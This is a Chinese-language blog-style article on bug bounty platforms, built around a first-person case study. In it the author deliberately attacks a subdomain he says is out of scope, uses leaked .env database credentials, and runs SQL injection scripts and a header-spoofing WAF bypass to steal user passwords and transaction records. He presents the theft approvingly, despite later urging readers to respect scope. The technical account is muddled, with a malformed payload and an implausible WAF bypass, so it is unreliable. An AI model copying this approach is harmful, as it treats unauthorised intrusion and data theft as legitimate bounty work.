一、从一次打赏漏洞看赏金平台的潜力

我们先从一个真实的漏洞案例入手。某次渗透测试任务中,我的目标是一个中型电商平台。这家平台在漏洞赏金网站上公开接受安全研究者提交漏洞报告,并承诺高额奖金。赏金平台提供了详细的scope(测试范围),包括所有子域名和测试条件。虽然目标表面上看起来是个安全性较高的平台,但我通过简单的信息收集阶段,发现了一个关键的子域泄漏问题,最终将它武器化,成功拿到了目标的敏感数据。

这次渗透测试让我认识到漏洞赏金平台的价值,它不仅为安全研究者提供了合法测试的机会,还帮助企业快速发现和修复潜在漏洞。下面我们深入探讨漏洞赏金平台的分类、机制、以及如何选择适合你的目标。

---

二、漏洞赏金平台的分类与机制

黑客示意图

公共赏金平台与私有赏金计划

漏洞赏金平台可以分为两大类:公共平台和私有计划。

  • 公共平台:这些平台通常对所有注册用户开放,包括 HackerOne、Bugcrowd 和 Intigriti 等。这些平台上汇集了全球的安全研究者,测试范围广泛,目标从小型初创企业到大型跨国公司。
  • 私有计划:一些公司不愿公开自己的漏洞赏金项目,选择通过邀请的方式组织私有计划,例如谷歌的 VRP(Vulnerability Reward Program)。这类计划通常奖金更高,但参与门槛也更严格。

赏金平台的运作模式

赏金平台的核心机制包括以下几个步骤:

  1. 目标注册:企业在平台上注册并定义测试范围(scope)。
  2. 研究者参与:安全研究者根据scope寻找漏洞。
  3. 报告提交:发现漏洞后,研究者提交详细的报告,包括漏洞影响、复现步骤和建议修复方法。
  4. 漏洞验证:企业或平台审核漏洞的真实性和严重程度。
  5. 奖金发放:审核通过后,平台为研究者发放奖励。

黑客示意图

---

黑客示意图

三、案例深挖:从信息泄露到完全控制

情景设定

在一个著名的赏金平台上,我找到一个目标,它的scope提到允许测试的子域包括 admin.target.com。通过子域枚举,我发现了一个隐藏的子域 backup.admin.target.com,尽管这不在scope中,但我决定深入研究。

信息收集与漏洞挖掘

首先,我使用工具 Sublist3rAssetfinder 进行子域枚举,代码如下:

<pre><code class="language-bash"># 使用 Sublist3r 枚举目标子域 sublist3r -d target.com -o subdomains.txt

使用 Assetfinder 获取补充子域

assetfinder --subs-only target.com &gt;&gt; subdomains.txt

检查子域的证书信息,通过 crt.sh

curl -s &quot;https://crt.sh/?q=%25.target.com&amp;output=json&quot; | jq &#039;.&#039; | awk &#039;{print $1}&#039; &gt;&gt; subdomains.txt</code></pre>

在子域列表中,我发现了一个未列入scope的子域 backup.admin.target.com。通过访问这个子域,我发现它暴露了一个未受保护的 .env 文件,该文件包含敏感的数据库凭证。

黑客示意图

---

四、Payload构造的艺术:从凭证到数据窃取

凭证利用与SQL注入

拿到数据库的管理员凭证后,我尝试连接目标数据库,并发现其中存在一个SQL注入漏洞。以下是SQL注入利用代码:

<pre><code class="language-python">import requests

url = &quot;http://backup.admin.target.com&quot; payload = &quot;&#039; OR &#039;1&#039;=&#039;1&quot;

构造恶意请求

data = { &quot;username&quot;: payload, &quot;password&quot;: &quot;password&quot; }

发送请求并打印响应

response = requests.post(url, data=data) print(response.text)</code></pre>

通过SQL注入,我成功获取了目标数据库中的用户数据,包括明文密码和交易记录。

---

五、绕过防御的最终艺术

目标的安全团队部署了 WAF(Web应用防火墙),试图阻止恶意请求。我通过流量伪装成功绕过了防御。以下是伪造正常流量的代码:

<pre><code class="language-python">import requests

url = &quot;http://backup.admin.target.com&quot; payload = &quot;&#039; UNION SELECT * FROM users WHERE &#039;1&#039;=&#039;1&quot;

定制 User-Agent 和 Headers

headers = { &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64)&quot;, &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot; }

response = requests.post(url, data={&quot;query&quot;: payload}, headers=headers) print(response.text)</code></pre>

通过伪造合法的请求头,我绕过了WAF规则,完成了数据窃取。

---

六、漏洞赏金平台的选择与优化技巧

如何选择合适的目标

作为红队,选择漏洞赏金目标至关重要。以下是我的建议:

  1. 优先选择scope宽泛的目标:测试范围越大,漏洞挖掘的可能性越高。
  2. 关注高奖金项目:一些企业提供高额奖金,吸引顶级红队参与。
  3. 研究目标的技术栈:通过公开信息了解目标是否使用容易被攻击的技术(如未更新的 CMS)。

提交报告的技巧

漏洞报告的质量决定奖金的多少。以下是我的经验:

  1. 详细描述漏洞影响:说明漏洞可能造成的数据泄露、业务中断等。
  2. 提供复现步骤:确保目标的安全团队能够快速验证漏洞。
  3. 提出修复建议:例如建议更新框架版本或加强输入验证。

---

七、个人经验:红队视角下的赏金平台

作为一名红队专家,我认为漏洞赏金平台是一个双赢的机制。它既帮助企业增强安全,又为研究者提供了合法的测试机会。不过,从攻击者的视角看,以下几点需要注意:

  1. 合法性优先:始终遵守scope约定,避免触碰未授权的目标。
  2. 隐蔽测试:减少暴露痕迹,避免被目标发现。
  3. 武器化漏洞:将零散的漏洞组合成完整的攻击链,提升攻击价值。

漏洞赏金平台为红队和安全研究者提供了无限的可能,但真正的高手能在这些平台中挖掘出目标的最深层漏洞,并最大化其价值。这是攻击者的艺术,也是红队的使命。